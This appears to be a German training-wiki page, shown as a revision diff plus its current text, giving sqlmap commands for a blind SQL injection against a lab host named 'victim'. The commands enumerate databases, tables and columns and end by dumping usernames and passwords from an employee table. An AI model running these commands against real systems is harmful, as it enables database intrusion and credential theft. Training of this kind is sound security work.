Sqlmap Anwenden: Unterschied zwischen den Versionen
Zur Navigation springen
Zur Suche springen
| (25 dazwischenliegende Versionen von 2 Benutzern werden nicht angezeigt) | |||
| Zeile 1: | Zeile 1: | ||
| − | = | + | =Ausgabe aller Parameter und Optionen= |
*sqlmap -hh | *sqlmap -hh | ||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | |||
| − | = | + | =Datenbanken anzeigen (optional)= |
| − | *sqlmap " | + | *sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --dbs --batch --string=VALID |
| − | |||
| − | |||
| − | |||
| − | = | ||
| − | |||
| − | |||
| − | |||
| − | = | ||
| − | |||
| − | = | + | =Verwundbarkeit bestätigen= |
| − | * | + | |
| − | *sqlmap -- | + | *sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --batch --string=VALID --flush-session |
| + | |||
| + | =Tabellen der Datenbank tuxmen= | ||
| + | |||
| + | *sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen --tables --batch --string=VALID | ||
| + | |||
| + | =Spalten der Tabelle mitarbeiter= | ||
| + | |||
| + | *sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter --columns --batch --string=VALID | ||
| + | |||
| + | =Daten dumpen= | ||
| + | |||
| + | *sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter -C username,password --dump --batch --string=VALID | ||
Aktuelle Version vom 25. Juni 2026, 05:42 Uhr
Ausgabe aller Parameter und Optionen
- sqlmap -hh
Datenbanken anzeigen (optional)
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --dbs --batch --string=VALID
Verwundbarkeit bestätigen
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" --batch --string=VALID --flush-session
Tabellen der Datenbank tuxmen
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen --tables --batch --string=VALID
Spalten der Tabelle mitarbeiter
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter --columns --batch --string=VALID
Daten dumpen
- sqlmap -u "http://victim/sql-blind.php?plain=1" --data="username=hans" -D tuxmen -T mitarbeiter -C username,password --dump --batch --string=VALID